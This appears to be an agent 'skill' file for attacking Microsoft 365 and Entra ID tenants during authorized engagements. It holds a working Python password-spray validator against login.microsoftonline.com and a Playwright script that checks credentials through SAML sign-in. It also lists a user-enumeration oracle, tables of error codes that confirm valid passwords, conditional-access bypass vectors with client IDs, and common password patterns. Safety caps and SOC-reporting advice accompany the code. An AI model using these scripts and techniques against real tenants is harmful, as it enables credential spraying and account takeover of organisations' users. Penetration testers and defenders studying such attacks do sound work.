M365/Entra Attack
Microsoft 365 and Entra ID attack surface — OAuth app consent phishing, token exfiltration via device flow, PRT abuse, and conditional access bypass.
Trigger when:
- Target uses M365 / Entra ID (autodiscover.* records, login.microsoftonline.com redirects, "Microsoft Office 365" in tech-stack notes)
- You have a list of corporate emails or stealer-leaked creds
- Engagement involves "credential spray", "password spray", "Entra attack", "ATO via M365"
- You see
*.onmicrosoft.com,*-my.sharepoint.com,enterpriseregistration.*,enterpriseenrollment.*in recon - Client mentions "Conditional Access", "MFA bypass", "compliant device"
- On-prem-only Active Directory (use a separate AD-attack skill)
- Service-to-service token attacks (different threat model)
- Phishing-required attack chains (covered by phishing skills) — but you can prep for the credential-validation step here
# For each owned domain
msftrecon -d client.example
msftrecon -d clientltd.example
msftrecon -d sister-brand-school.exampleKey fields in output:
- Tenant ID (different domains may share OR have separate tenants — always test all owned domains)
- Federation Information.Namespace Type =
Managed(cloud-only, ROPC works) |Federated(ADFS, different attack) - SharePoint Detected (Yes = OneDrive enum vector available)
- Communication Services Teams/Skype (post-auth lateral targets)
- Admin Consent Endpoint accessible (consent-phishing surface)
| AADSTS | Meaning | Lockout impact | What to do |
|---|---|---|---|
| 50034 | User does not exist | None | Skip; remove from spray list |
| 50126 | Invalid username/password | +1 attempt counter | User exists — try alternate password later (within cap) |
| 50053 | Account locked (Smart Lockout) | None (already locked) | Pre-existing → flag to SOC; don't retry |
| 53003 | CA blocked token issuance | +1 attempt counter | PASSWORD VALID — STOP, password is correct |
| 50076 | MFA required | +1 attempt counter | PASSWORD VALID — second factor needed |
| 50079 | Strong auth required | +1 attempt counter | PASSWORD VALID — same as 50076 |
| 50158 | External auth required | +1 attempt counter | PASSWORD VALID — federated MFA |
| 530003 | Device-state required | +1 attempt counter | PASSWORD VALID — needs compliant device |
| 65001 | Consent required | +1 attempt counter | App-consent issue, not auth |
| 700016 | App not in tenant | None | User in different tenant — adjust target |
| 90002 | Tenant does not exist | None | Tenant typo / dead tenant |
Microsoft default policy:
- 10 failed sign-ins in 10 minutes → 1-minute lockout
- 20 failed sign-ins → progressively longer lockouts (exponential backoff)
- Counter shared across ALL auth flows (ROPC + SAML + IMAP + EWS + SMTP + device-code)
- Hard cap: ≤2 password attempts per user lifetime per engagement (some engagements: 1)
- State file with atomic writes — never let two test runs race the counter
- Kill switch: stop run if more than N LOCKED responses observed (suggests pre-existing attacker activity OR you miscounted; either way pause)
mid-engagement-ir-detection skill).
❌ HARDENED (no longer differential)
GET /getuserrealm.srf?login=<email>&xml=1POST /common/GetCredentialType
{"username":"<email>", "isOtherIdpSupported":true, ...}AADSTS1659001 (missing flowToken) without proper session — can't enumerate.
GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1✅ STILL WORKS (May 2026 — track shelf life)
OneDrive personal-site differential:
GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1 Host: <tenant>-my.sharepoint.com- 302 → user EXISTS (auth-required redirect to Authenticate.aspx)
- 404 → user does NOT exist (404 FILE NOT FOUND)
- ZERO authentication attempt → ZERO lockout impact
- Bonus:
Sprequestdurationheader faster (~40ms) for existing users vs ~600ms for non-existent — secondary timing oracle
- Only works if SharePoint is provisioned for the tenant (check msftrecon
SharePoint Detected: Yes) - Microsoft is hardening these endpoints over time — re-verify before relying on it
- Some users may exist in Entra without OneDrive provisioning (license-dependent) — false negatives possible
Killer use case: license differential = account-class signal. Cross-reference OneDrive 200/404 with ROPC AADSTS50034/50126:
| OneDrive | ROPC | Classification |
|---|---|---|
| 200 | AADSTS50076 (MFA req) or 50126 | Licensed regular user (real employee, MFA enforced) |
| 200 | AADSTS50034 | (shouldn't happen — inconsistency, investigate) |
| 404 | AADSTS50126 | Shared mailbox / functional / service account (no OneDrive license, has password) — historic MFA-exempt class, prime target for password guessing |
| 404 | AADSTS50034 | Doesn't exist in tenant |
| 404 | AADSTS50076 | Edge case (functional account WITH MFA enforced — rare) |
noreply@, purchase@, accounts@, postmaster@, transport@ as functional-account candidates (typical for any conglomerate tenant).
ROPC AADSTS50034 / AADSTS50126 differential:
- AADSTS50034 (user not exist) does NOT increment Smart Lockout counter
- AADSTS50126 (wrong password) DOES increment
- So a 1-attempt-per-user spray can be used as a coarse user-existence enumerator (each AADSTS50034 = miss, each AADSTS50126 = hit + 1 attempt burned)
| Vector | Status (2026) | Notes |
|---|---|---|
| Different ROPC client_id (Microsoft Graph PowerShell vs Azure CLI vs Office) | Sometimes works | CA can be per-app; try 1b730954-1685-4b74-9bfd-dac224a7b894 (Graph PS), 04b07795-8ddb-461a-bbee-02f9e1bf7b46 (Azure CLI), d3590ed6-52b3-4102-aeff-aad2292ab01c (Office) |
| Different resource (graph.microsoft.com / outlook.office.com / management.azure.com) | Sometimes works | CA scope can be per-resource |
| EWS / IMAP / POP3 / SMTP Basic Auth | Mostly disabled | MS deprecated Basic Auth Oct 2022; per-account exceptions exist |
| FOCI (Family of Client IDs) | Token-refresh path | Use a refresh token from one FOCI client to mint tokens for another |
| Device-code phishing | Works | Requires user-side interaction (OOS for many engagements) |
| Compliant-device emulation | Hard | Requires Intune device registration — high effort, often impossible without insider |
| AiTM session-cookie steal | Works (with phishing) | Modern primary technique — out of scope for non-phishing engagements |
| FOCI + Family Refresh Token Theft | Post-auth | Requires already having a token |
| SAML SSO via different SP | Sometimes | Each enterprise app has its own CA policy; an app with weaker CA = pivot |
| Geo-bypass via VPN | Sometimes | If "trusted location" CA policy includes corp HQ IPs, use a VPN exit there |
Single-attempt validator pattern (Python):
import urllib.request, urllib.parse, ssl, time, json, os
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ATTEMPT_FILE = "engagement_log/o365_attempts.json"
HARD_CAP = 1 # or 2 — never higher
def attempt(email, password): state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {} if state.get(email.lower(), 0) >= HARD_CAP: return {"status": "SKIPPED_CAP"} body = urllib.parse.urlencode({ "resource": "https://graph.windows.net", "client_id": "1b730954-1685-4b74-9bfd-dac224a7b894", # Microsoft Graph PowerShell "client_info": "1", "grant_type": "password", "username": email, "password": password, "scope": "openid", }).encode() state[email.lower()] = state.get(email.lower(), 0) + 1 json.dump(state, open(ATTEMPT_FILE+".tmp", "w")) os.replace(ATTEMPT_FILE+".tmp", ATTEMPT_FILE) # atomic req = urllib.request.Request( "https://login.microsoftonline.com/common/oauth2/token", data=body, method="POST", ) req.add_header("Content-Type", "application/x-www-form-urlencoded") try: r = urllib.request.urlopen(req, context=ctx, timeout=15) body = json.loads(r.read()) # PARSE AS JSON — see CRITICAL TRAP below about substring matching if "access_token" in body: # ← JSON key check, NOT substring return {"status": "VALID", "body": body} return {"status": "STATUS_200_NO_TOKEN", "body": body} except urllib.error.HTTPError as e: msg = e.read().decode(errors="ignore") for code, status in [ ("AADSTS50034", "INVALID_USER"), ("AADSTS50126", "INVALID_PW"), ("AADSTS50053", "LOCKED"), ("AADSTS53003", "VALID_CA_BLOCK"), ("AADSTS50076", "VALID_MFA"), ("AADSTS50079", "VALID_MFA"), ]: if code in msg: return {"status": status, "code": code} return {"status": "OTHER", "msg": msg[:200]}
⚠ CRITICAL TRAP — AADSTS50076 body contains literal "access_token" substring
When CA policy requires MFA and ROPC cannot satisfy it, Entra returns an error body that INCLUDES a claims field listing CA policy IDs as a step-up challenge:
{
"error": "invalid_grant",
"error_description": "AADSTS50076: ...you must use multi-factor authentication...",
"error_codes": [50076],
"suberror": "basic_action",
"claims": "{\"access_token\":{\"capolids\":{\"essential\":true,\"values\":[\"<policy-id-1>\",\"<policy-id-2>\"]}}}"
}The "access_token" substring appears inside the CA claims challenge JSON. A loose substring check if "access_token" in raw_body: will false-positive every MFA-blocked attempt as a successful token issuance.
Always parse JSON, then check if "access_token" in parsed_dict: — never substring-match on OAuth error bodies. This was discovered in the 2026-05-17 authorized-engagement revalidation where a substring check produced 7 false-positive "CA bypasses" on Sway/Yammer/Bookings/Tunnel client_ids that were actually all enforcing MFA correctly.
The claims.access_token.capolids values are tenant-internal Conditional Access policy IDs — useful recon enrichment, but NOT a token. Document them in engagement notes as "CA policy IDs that fired" — they're a defender-side breadcrumb, not an attacker-side win.
Pace:
- Per-IP: ≤30 req/sec is fine; Microsoft tolerates well
- Per-user: hard cap from state file is the only thing that matters
- Random jitter (1-5s between attempts) for less-machine-like signature
When ROPC returns AADSTS53003, you've proven the password. To prove it across BOTH auth paths (and capture Microsoft's CA-block page as evidence), walk SAML SSO via Playwright:
import asyncio
from playwright.async_api import async_playwright
async def saml_validate(target_sp_url, username, password, screenshot_dir): async with async_playwright() as p: browser = await p.chromium.launch(headless=True, args=["--ignore-certificate-errors"]) context = await browser.new_context(ignore_https_errors=True) page = await context.new_page() # Step 1: navigate to SP await page.goto(target_sp_url, wait_until="networkidle", timeout=30000) # Step 2: click sign-in (selectors vary per SP) for sel in ["button:has-text('Sign in')", "a:has-text('Login')", "button:has-text('Azure')"]: try: await page.locator(sel).first.click(timeout=3000) break except: continue await page.wait_for_load_state("networkidle", timeout=20000) # Step 3: submit username at Microsoft await page.locator('input[name="loginfmt"], input[type="email"]').first.fill(username) await page.locator('input[type="submit"], #idSIButton9').first.click() await page.wait_for_load_state("networkidle", timeout=20000) # Step 4: submit password await page.locator('input[name="passwd"], input[type="password"]').first.fill(password) await page.locator('input[type="submit"], #idSIButton9').first.click() await page.wait_for_load_state("networkidle", timeout=30000) # Step 5: capture await page.screenshot(path=f"{screenshot_dir}/saml_final.png", full_page=True) content = await page.content() cookies = await context.cookies() await browser.close() # Check outcome low = content.lower() if "convergedconditionalaccess" in low or "53003" in low: return "CA_BLOCKED" # cred valid, CA wall elif "verify your identity" in low or "approve sign in" in low: return "MFA_REQUIRED" # cred valid, MFA wall elif "we couldn't sign you in" in low or "wrong" in low: return "INVALID" elif "<post-auth-landing-marker>" in low or "dashboard" in low: return "FULL_SUCCESS" # session obtained (replace marker per target app) return "UNCLEAR"
Microsoft's ConvergedConditionalAccess page (PageID in source) is the definitive evidence of CA-block.
If you see AADSTS50053 (LOCKED) on multiple users despite your 1-attempt-per-user cap:
- You did not cause these locks (math: 1 < 10).
- An external attacker is actively spraying the tenant.
- Cluster the locked users alphabetically — if they cluster, attacker is using a sorted username list.
- Diff lockout count between spray-start and spray-end — new locks during your session = attacker is active right now.
- Document the locked email list as a finding (SOC actionable — they pull sign-in logs for those users).
<BrandName>@<Year>—<Brand>@2026,Tata@2026<BrandName>@123—<Brand>@123(very common)<PlantCity>@<Year>—<City1>@2026,<City2>@2026(production plant cities)<EmployeeID-as-password>— common in legacy apps (PAN number, employee code, phone last4)Password@<year>,Welcome@<year>,Admin@<year>— generic defaults<BrandName>@<Y2-digits>—<Brand>@26
Every M365 attempt logs to JSONL:
{"ts":"2026-05-08T14:40:53","email":"user1@<client>.example","pw_first4":"<r4>","status":"VALID_CA_BLOCK","code":"AADSTS53003","attempts_used":1}Per-user tracker (atomic):
{"user1@<client>.example": 1, "user2@<client>.example": 1, ...}IP rotation log (per-day):
2026-05-08 <src-ip> <ISP-AS> <operator-handle> Round 2 sprayThese three artifacts are deliverable evidence for the report. They survive into the next engagement as state.
For the report:
Finding: 261 Entra accounts in pre-existing lockout state
- Subject: Active external password-spray campaign detected
- Evidence:
o365_results.jsonlfiltered tostatus=LOCKED - Math: 1-attempt-per-user × 261 LOCKED ≠ our doing
- SOC action: pull sign-in logs for these 261 accounts over last 30-60 days
<user>:<password> (CA-blocked) - Subject: Confirmed valid credential
- Evidence: ROPC AADSTS53003 + SAML SSO
ConvergedConditionalAccesspage screenshot - Microsoft documentation excerpt: "AADSTS53003 returned only after password validation"
- Recommendation: force password reset, audit org-wide for similar pattern
- DON'T use the leaked cred for the user across multiple resources — burns the cap with no marginal benefit when CA blocks all paths
- DON'T retry after AADSTS50053 — account is locked, you'll just see lockout again
- DON'T spray more than ~30 attempts/sec to login.microsoftonline.com — Microsoft can flag the IP for sustained credential-stuffing pattern
- DON'T forget to test ALL Entra tenants — sister domains often have separate tenants with different password policies
- DON'T retract a CA-block finding — AADSTS53003 means the password is correct; that's the whole point
pip install --break-system-packages msftrecon o365spray # may need to clone msftrecon from GitHub
brew install pandoc # for report generation
go install -v github.com/projectdiscovery/... # PD toolkit for general reconPre-built m365_validator.py template at engagement working directory engagement_log/m365_validator.py. Adapt the attempt() function to your engagement.
hunt-mfa-bypass— AADSTS50053 (lockout) vs AADSTS50126 (bad password) vs AADSTS50076 (MFA required) is a free factor-presence oracle. Chain primitive: M365 AADSTS50053 lockout differential observed → user has MFA but no CA enforcement on legacy auth →hunt-mfa-bypassfactor-probe (SMS fallback, voice fallback, OAuth device-code flow, ROPC against legacy endpoint) → Conditional Access bypass via legacy-protocol path.hunt-ntlm-info— On-prem NTLM topology leak feeds the Entra spray. Chain primitive: SharePoint/Exchange/IIS anon NTLM Type-2 → AV_PAIR decode yieldscorp.example.com→m365-entra-attackresolves Entra tenant via openid-configuration → ROPC spray with realistic UPN format.okta-attack— Hybrid orgs run Okta-as-IdP federated into Entra. Chain primitive: M365getuserrealmreturnsNameSpaceType: Federatedwith AuthURL pointing to*.okta.com→ pivot tookta-attackfor tenant enumeration → Okta ATO → SAML assertion to Entra → full M365 access.hunt-saml— Federated tenants accept signed SAML assertions; XSW or signature-stripping on the federated IdP bypasses Entra's controls entirely. Chain primitive:getuserrealmreveals federation → IdP fingerprinted (ADFS / Okta / PingFederate) →hunt-samlXSW1-XSW8 against IdP's/adfs/ls/or equivalent → forged assertion → Entra grants access.redteam-report-template— M365 findings need clear tenant/user/CA-policy framing because the blast radius is "every Microsoft service the org uses." Chain primitive: validated finding from this skill → run throughtriage-validation7-Question Gate → package viaredteam-report-templatewith explicit blast-radius (which apps, which users, which data) for client deliverable.
Questions about M365/Entra Attack?